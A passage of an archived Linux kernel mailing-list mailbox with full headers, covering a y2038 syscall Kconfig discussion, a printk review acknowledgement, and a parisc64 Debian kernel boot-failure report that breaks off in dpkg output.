References: <20171127193037.8711-1-deepa.kernel@gmail.com> <CAK8P3a2pcpQqf_TNGVxLBePBSKYhxD90UN-FjBor4d-dKhAwbQ@mail.gmail.com>
 <CABeXuvrBOSVTNSbEZZMKmuTgWeU_VDqjSZkwGAM+bnPh0-72zA@mail.gmail.com> <CAK8P3a26g74UA5J5uQLwdjK3hq+htzjrdTYRKqfy_MawY7st+g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1511911086 20831 195.159.176.226 (28 Nov 2017 23:18:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 28 Nov 2017 23:18:06 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 29 00:17:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eJp8R-0001yL-6v
	for glpp-linux-parisc@m.gmane.org; Wed, 29 Nov 2017 00:17:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752507AbdK1XR6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 28 Nov 2017 18:17:58 -0500
Original-Received: from mail-io0-f193.google.com ([209.85.223.193]:46580 "EHLO
        mail-io0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751496AbdK1XR4 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 28 Nov 2017 18:17:56 -0500
Original-Received: by mail-io0-f193.google.com with SMTP id x129so1714108iod.13;
        Tue, 28 Nov 2017 15:17:55 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=6jzrGO/SlqO0SYjWCe7NpRczWAdQtxW9Jdd1Pwcnab4=;
        b=MLksuu88NaLObvyVNOSNBnNHSIdUM1eL33OhbBbZpdB9RUNkvmvqFqj9CE7tl/gR6h
         s6u0nF+x1KmdkteMXarHWd15Ql/3WNcf3JX6a+k5xsjJ9JhMXdix7AwSRZEsPYwb4LX4
         YAUGsu3yyGqi7ZDWtNyX2CgxeV7hX/NqhMo0HiOdf8qVwokvs64mvD/Kja+z6mNa0OBh
         H18KukHoY3Auh/vq7wvw+EmJRALVEONIYYwxuST2SD1ziyzsvOxWuam+Kye/foag7OY1
         Pyd+SNarLK9nLhAld7G5suZLunR+XwieGBh7wJ719rlwFtW25Ey/emgV9wzlw8oLDr6Y
         bUIA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=6jzrGO/SlqO0SYjWCe7NpRczWAdQtxW9Jdd1Pwcnab4=;
        b=iTuWsCIn+A9z8D0ERBJCxY4awkggTgjJjJAZdA0qgivG6TE+lVa2gRXEgMDYP1UVsL
         2w26gMy0eHJwIoeKlBm0uZrKNHychPp9L/6ye0b4DGqOv4llA3agBGQ6BufLNc1sShds
         DJyin8xT1Cz9JCX55D0oFAnfl0u4ckDpddZALzgdKso+sy44qNZ8B4+u7pq46ek2uEsi
         WT22eGxF4/S0j63hmr6q+QQP7hNh6SIEv0Ibcu7F149P+cU4B9aed4/IfqUd9A6TTGWq
         YWKVAP9miASnWcURIHOxZlU9pfnu/prhG/6bEhn3b0+GZilDga6Dsf4AR8IjVjlkO8zq
         LT8A==
X-Gm-Message-State: AJaThX65umcP8lQ30pcs349qnDVYOyQh+torwoW5P5BqrJF145Xczni1
        TQMKLWryiSw1nBpiDGnfnR1lRlWsQ9QT/oFtsJg=
X-Google-Smtp-Source: AGs4zMadP/sBvkHRVd42jOND/pg1S8pNIcgTQfM0VLRrpBvHluKg8tQ3cfETCaD8kyTL0maPh2v+P+bsqgbDuVtfxaA=
X-Received: by 10.107.10.13 with SMTP id u13mr1122533ioi.252.1511911074845;
 Tue, 28 Nov 2017 15:17:54 -0800 (PST)
Original-Received: by 10.107.31.205 with HTTP; Tue, 28 Nov 2017 15:17:54 -0800 (PST)
In-Reply-To: <CAK8P3a26g74UA5J5uQLwdjK3hq+htzjrdTYRKqfy_MawY7st+g@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28022 gmane.linux.kernel:2628268 gmane.linux.kernel.year-2038:2380 gmane.linux.kernel.api:26016 gmane.linux.kernel.cross-arch:40330 gmane.linux.ports.mips.general:62396 gmane.linux.ports.ppc64.devel:150643 gmane.linux.oprofile:13119 gmane.linux.ports.sparc:26928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28022>

On Tue, Nov 28, 2017 at 6:17 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Mon, Nov 27, 2017 at 11:29 PM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
>>>> I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
>>>> legacy time syscalls such as sys_nanosleep because this will need to
>>>> enclose compat_sys_nanosleep as well. So, defining it as
>>>>
>>>> config LEGACY_TIME_SYSCALLS
>>>>      def_bool 64BIT || !64BIT_TIME
>>>>
>>>> will not include compat_sys_nanosleep. We will instead need a new config to
>>>> exclusively mark legacy syscalls.
>>>
>>> Do you mean we would need to do this separately for native and compat
>>> syscalls, and have yet another option, like LEGACY_TIME_SYSCALLS
>>> and LEGACY_TIME_COMPAT_SYSCALLS, to cover all cases? I would
>>> think that CONFIG_COMPAT_32BIT_TIME handles all the compat versions,
>>> while CONFIG_LEGACY_TIME_SYSCALLS handles all the native ones.
>>
>> I meant sys_nanosleep would be covered by LEGACY_TIME_SYSCALLS, but
>> compat_sys_nanosleep would be covered by CONFIG_COMPAT_32BIT_TIME
>> along with other compat syscalls.
>> So, if we define the LEGACY_TIME_SYSCALLS as
>>
>>
>>         "This controls the compilation of the following system calls:
>>         time, stime, gettimeofday, settimeofday, adjtimex, nanosleep,
>> alarm, getitimer,
>>         setitimer, select, utime, utimes, futimesat, and
>> {old,new}{l,f,}stat{,64}.
>>         These all pass 32-bit time_t arguments on 32-bit architectures and
>>         are replaced by other interfaces (e.g. posix timers and clocks, statx).
>>         C libraries implementing 64-bit time_t in 32-bit architectures have to
>>         implement the handles by wrapping around the newer interfaces.
>>         New architectures should not explicitly enable this."
>>
>> This would not be really true as compat interfaces have nothing to do
>> with this config.
>>
>> I was proposing that we could have LEGACY_TIME_SYSCALLS config, but
>> then have all these "deprecated" syscalls be enclosed within this,
>> compat or not.
>> This will also mean that we will have to come up representing these
>> syscalls in the syscall header files.
>> This can be a separate patch and this series can be merged as is if
>> everyone agrees.
>
> I think doing this separately  would be good, I don't see any interdependency
> with the other patches, we just need to decide what we want in the long
> run.

Right. There are three options:

1. Use two configs to identify which syscalls need not be supported by
new architectures.
In this case it makes sense to say LEGACY_TIME_SYSCALLS and
COMPAT_32BIT_TIME both need to be disabled for new architectures. And,
I can reword the config to what you mention below.

2. Make the LEGACY_TIME_SYSCALLS eliminate non y2038 safe syscalls
mentioned below only.
In this case only the native and compat functions of the below
mentioned syscalls need to be identified by the config. I like this
option as this clearly identifies which syscalls are deprecated and do
not have a 64 bit counterpart. Not all architectures need to support
turning this off.

3. If we don't need either 1 or 2, then we could stick with what we
have today in the series as CONFIG_64BIT_TIME will be deleted and they
only need #ifdef CONFIG_64BIT.

Let me know if anyone prefers something else.

> I agree my text that you cited doesn't capture the situation correctly,
> as this is really about the obsolete system calls that take 64-bit time_t
> arguments on architectures that are converted to allow 64-bit time_t
> for non-obsolete system calls.
>
> Maybe it's better to just reword this to
>
>       "This controls the compilation of the following system calls:
>       time, stime, gettimeofday, settimeofday, adjtimex, nanosleep,
> alarm, getitimer,
>       setitimer, select, utime, utimes, futimesat, and {old,new}{l,f,}stat{,64}.
>       These are all replaced by other interfaces (e.g. posix timers and clocks,
>       statx) on architectures that got converted from 32-bit time_t to
> 64-bit time_t.
>       C libraries implementing 64-bit time_t in 32-bit architectures have to
>       implement the handles by wrapping around the newer interfaces.
>       New architectures should not explicitly enable this."
>
> That would clarify that it's not about the compat system calls, while
> also allowing the two options to be set independently.

-Deepa
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Wed, 29 Nov 2017 16:24:58 +0900
Lines: 28
Approved: news@gmane.org
Message-ID: <20171129072458.GA468@jagdpanzerIV>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171128154710.ytqixlioc3hrcbl3@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1511940312 17852 195.159.176.226 (29 Nov 2017 07:25:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 29 Nov 2017 07:25:12 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Nov 29 08:25:05 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eJwjw-00047Y-IO
	for glk-linux-kernel-3@m.gmane.org; Wed, 29 Nov 2017 08:25:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752416AbdK2HZH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 29 Nov 2017 02:25:07 -0500
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:43444 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752183AbdK2HZD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 29 Nov 2017 02:25:03 -0500
Original-Received: by mail-pg0-f65.google.com with SMTP id b18so1121905pgv.10;
        Tue, 28 Nov 2017 23:25:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=DH8LLYkKTz/4NJdT9scx3lrnPWQrtqjK/gG8iZADE1E=;
        b=qNMQEkr3wh2nGkPG/Yk61K9jqVczu4sQrIYMTXLz3xWwgvb9An/YauIXb5jnoUSGr/
         iKUSrVO1tgwziAAT17nJhHLlICdrnLhrzo1Up8m5C0mKu4tFZGyQKSdXDI+TPYdjRy32
         JJ50yVs/5e38/Vq8YSsOCIsyNiFsHljaOM2E9hbCQzrUcOiLlGocoXxOeAbRh2snU335
         jqpV5nudPuck0LI4YsOCrCDONiVKssz7DMxKVjCCJ1cJBgjsJqsnNXvD86i3TDwfQaTs
         Gv7FoWrTqzNJVblYB42Z875O2yc20JIRy40SkQuGHsu0UKuHsiEuw58pk4tRxTAo8fTW
         UgyA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=DH8LLYkKTz/4NJdT9scx3lrnPWQrtqjK/gG8iZADE1E=;
        b=pdU1lXK9tXTeamhDlt67mkA1frzrWA0M+5MSSZ7gNAUbVEOfRqOw6kNrk1gZWHsvL9
         reKjUic+ijjHhkT7W7L4r3XobTl8dy3w35YZFvsZ4sBiRTDu2uaDD1DW9epfbjQy/i/C
         rFsrsw62HvOGPBTSYxIBF1e93wfLi/1hfUdHbl9uscajSWo6IW8iyPfBFDBcCsDyalKV
         /BAPG8NARFTBKL44T+DTk9HWqTeWriulmmTeCBAknn9DtJ/zjmvGtoQWRkRfflzkUweG
         wHCF1rEmkQdqD1F/UZzRh17nEihFCENzWzRmiKAJT6VoVGXd7E2nx3GjMpq2TlSre/x8
         Lhyg==
X-Gm-Message-State: AJaThX63d3FgI6l80NjBtFmlJYmTtQYCFMCjpg8GVRRPVkRrPFRZIhGC
        0BpqvjuY0EsU42lZz0VORis=
X-Google-Smtp-Source: AGs4zMbJCMBQgFm6XigwoWCBL9iOZutzDCzagT1GyKrRcc5t6xYYkdHsASeLms4m9szn6KqPhX1s/w==
X-Received: by 10.99.143.87 with SMTP id r23mr1889232pgn.224.1511940303194;
        Tue, 28 Nov 2017 23:25:03 -0800 (PST)
Original-Received: from localhost ([175.223.48.109])
        by smtp.gmail.com with ESMTPSA id w3sm1591460pge.59.2017.11.28.23.25.01
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 28 Nov 2017 23:25:01 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171128154710.ytqixlioc3hrcbl3@pathway.suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2628512 gmane.linux.ports.ia64:28321 gmane.linux.ports.parisc:28023 gmane.linux.ports.ppc64.devel:150651
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2628512>

On (11/28/17 16:47), Petr Mladek wrote:
> On Fri 2017-11-10 08:48:24, Sergey Senozhatsky wrote:
> > 	Hello,
> > 
> > 	A reworked version. There is a new dereference_symbol_descriptor()
> > function now, where "the magic happens", so I don't touch kallsyms_lookup()
> > and module_address_lookup() anymore.
> 
> The new version looks good to me. Thanks a lot for reworking it.
> I feel much better now. For the whole series:
> 
> Reviewed-by: Petr Mladek <pmladek@suse.com>
> 
> > 	All Ack-s/Tested-by-s were dropped, since the patch set has been
> > reworked. I'm kindly asking arch-s maintainers and developers to test it
> > once again. Sorry for any inconveniences and thanks for your help in
> > advance.
> 
> I see that it was tested on all affected architectures. Thanks a lot
> all testers.
> 
> It seems that we are ready to go. I am going to push this into
> for-4.16 branch in printk.git.

thanks.

	-ss


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Wed, 29 Nov 2017 22:12:23 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <CAK8P3a2ho3S3NYp4VL7kOAk-bg3bsUmLaJJVEvNfzPoEue3v3w@mail.gmail.com>
References: <20171127193037.8711-1-deepa.kernel@gmail.com> <CAK8P3a2pcpQqf_TNGVxLBePBSKYhxD90UN-FjBor4d-dKhAwbQ@mail.gmail.com>
 <CABeXuvrBOSVTNSbEZZMKmuTgWeU_VDqjSZkwGAM+bnPh0-72zA@mail.gmail.com>
 <CAK8P3a26g74UA5J5uQLwdjK3hq+htzjrdTYRKqfy_MawY7st+g@mail.gmail.com> <CABeXuvrtQfSsOipGTnfmONXS45Dqxy4_T7MAcfO4VajoSycW4w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1511989949 18502 195.159.176.226 (29 Nov 2017 21:12:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 29 Nov 2017 21:12:29 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 29 22:12:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eK9eW-0002Xs-Cg
	for glpp-linux-parisc@m.gmane.org; Wed, 29 Nov 2017 22:12:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752699AbdK2VM1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 29 Nov 2017 16:12:27 -0500
Original-Received: from mail-oi0-f67.google.com ([209.85.218.67]:44579 "EHLO
        mail-oi0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752607AbdK2VMZ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 29 Nov 2017 16:12:25 -0500
Original-Received: by mail-oi0-f67.google.com with SMTP id k2so3398696oib.11;
        Wed, 29 Nov 2017 13:12:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=AUyPk+CBGTAXBkHAOfFHmKLYoy0rLiofpEms7rvt/JI=;
        b=ubdgiVAsVqrIGyeOjejRuwkXVMtUbae58JXKY4Li1Jmz5ZFOGXf1HqmkOaVhyyaAo4
         wYjkO1uUO4rlV3jucLK7v8ySyE75x4XZoTNcB4Li9hVlHPv7neXP9uMf9NNxp7n8Q96c
         00CzlCelSJKlC8tuu4ffbGyyMBX5qaFGqo++fC2SF6vWFOK00eFnwLku4wR89OfhoxT/
         H/qWikDhoUeZKsSWwKRnr41CkAYw8s7m1HDeJL+aZgwmPvqy0J9BCa8/jQdLvu5DGrOY
         Hu5bKlftRVLYWCJPWBNLAoIvuDBEFxCzvhH8wOh6OB7OrX8FYCsyzq7yoZM1hgtvsrW5
         wyDw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=AUyPk+CBGTAXBkHAOfFHmKLYoy0rLiofpEms7rvt/JI=;
        b=nHlrWAMFY7646QYxQ73F5od/gfuvL4ukk9DnQMOMmLzefcu9Ilv07q/Bxia6oC/FRm
         tZnr7P6Z4iE7MvIRE164FA8l1IT2LuhQTOsTGTAfF3tETZGRgcblqZCdqMO7JtPzP0GO
         ABeKOJbirHHybtuqP4+sHEfHKYP1YS/Y5XPxu58jGZx2ig7V9GtTIAtBHO0cFlY644dm
         DL1McuMflljV3at/gSnS1fo2Vuuv+EGWKnzm/foY4gHdBwpRCw9Okq+TBwp6wm2lGXR0
         36+JeNc6epVNR9LOtrB6b65esMruvVn1Jl0+EOSLIoVdK5i7+MQZggC7iEoCl3DpbAaR
         IVKw==
X-Gm-Message-State: AJaThX6pWgJMwp0RT5f8KAqFbg+8hXpmsjtS7iLRW7yiF9KUQLz1WQQc
        FZxDZc1tt4Sh070vyo9Ez2aPFF7T+pWTeNmxYG1VhwCe
X-Google-Smtp-Source: AGs4zMZy/sXOsovRHwwKI7cFJuN7WraFQ8mCE34x6yJ5h2P/O4QFdGDVJeaeXGZyLctV10q3u94/8l3RGDnvHbg8FkQ=
X-Received: by 10.202.84.142 with SMTP id i136mr3008523oib.281.1511989944312;
 Wed, 29 Nov 2017 13:12:24 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Wed, 29 Nov 2017 13:12:23 -0800 (PST)
In-Reply-To: <CABeXuvrtQfSsOipGTnfmONXS45Dqxy4_T7MAcfO4VajoSycW4w@mail.gmail.com>
X-Google-Sender-Auth: DxwyxmI6OImf9nsOxubkSERkCHk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28024 gmane.linux.kernel:2629476 gmane.linux.kernel.year-2038:2383 gmane.linux.kernel.api:26036 gmane.linux.kernel.cross-arch:40356 gmane.linux.ports.mips.general:62454 gmane.linux.ports.ppc64.devel:150677 gmane.linux.oprofile:13120 gmane.linux.ports.sparc:26941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28024>

On Wed, Nov 29, 2017 at 12:17 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> On Tue, Nov 28, 2017 at 6:17 AM, Arnd Bergmann <arnd@arndb.de> wrote:
>> On Mon, Nov 27, 2017 at 11:29 PM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> Right. There are three options:
>
> 1. Use two configs to identify which syscalls need not be supported by
> new architectures.
> In this case it makes sense to say LEGACY_TIME_SYSCALLS and
> COMPAT_32BIT_TIME both need to be disabled for new architectures. And,
> I can reword the config to what you mention below.
>
> 2. Make the LEGACY_TIME_SYSCALLS eliminate non y2038 safe syscalls
> mentioned below only.
> In this case only the native and compat functions of the below
> mentioned syscalls need to be identified by the config. I like this
> option as this clearly identifies which syscalls are deprecated and do
> not have a 64 bit counterpart. Not all architectures need to support
> turning this off.
>
> 3. If we don't need either 1 or 2, then we could stick with what we
> have today in the series as CONFIG_64BIT_TIME will be deleted and they
> only need #ifdef CONFIG_64BIT.
>
> Let me know if anyone prefers something else.

I think I prefer to have both LEGACY_TIME_SYSCALLS to guard
the native deprecated syscalls (disabled on 32-bit architectures after
the conversion, and enabled on 64-bit architectures until
we merge the next one), and COMPAT_32BIT_TIME to guard the
compat versions of both the deprecated and the non-deprecated
syscalls (enabled on all existing 32-bit architectures after the
conversion, and on 64-bit architectures if they provide a compat
mode for the former).

Those two are not symmetric, but I think those are the most
common combinations, and the Kconfig symbol helps document
what they are.

There is one more category for things like io_getevents() and
rt_sigtimedwait that also need two separate compat versions,
one for 32-bit time_t and one for 64-bit time_t, but it seems better
to deal with those case-by-case rather than introducing another
Kconfig symbol.

        Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Debian vmlinux-4.14.0-1-parisc64-smp fails to boot on c3750
Date: Sun, 3 Dec 2017 11:54:53 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1512320094 16053 195.159.176.226 (3 Dec 2017 16:54:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 3 Dec 2017 16:54:54 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 03 17:54:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eLXXV-00088U-7P
	for glpp-linux-parisc@m.gmane.org; Sun, 03 Dec 2017 17:54:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752155AbdLCQy4 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 3 Dec 2017 11:54:56 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:44585 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752057AbdLCQyz (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 3 Dec 2017 11:54:55 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20171203165454.UKW8260.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 3 Dec 2017 11:54:54 -0500
Original-Received: from [192.168.2.25] (really [70.51.115.243]) by torspm01.bell.net
          with ESMTP
          id <20171203165454.MTTU6406.torspm01.bell.net@[192.168.2.25]>;
          Sun, 3 Dec 2017 11:54:54 -0500
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=SNOtbKnH c=1 sm=0 tr=0 a=UgMXoOu0F2skVU81nElf8A==:17 a=kj9zAlcOel0A:10 a=ocR9PWop10UA:10 a=FBHGMhGWAAAA:8 a=XtCEnBYaKa6NlfmBsQYA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28025>

Fails early, probably in palo.  I don't have a boot log as the machine has a graphics console.

ii  linux-image-4.13.0-1-parisc64-smp          4.13.13-1     hppa         Linux 4.13 for multiprocessor 64-bit PA-RISC
ii  linux-image-4.14.0-1-parisc64-smp          4.14.2-1      hppa         Linux 4.14 for multiprocessor 64-bit PA-RISC

The 4.13.13-1 kernel boots okay.

root@hiauly6:/var/log# dpkg -l palo
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
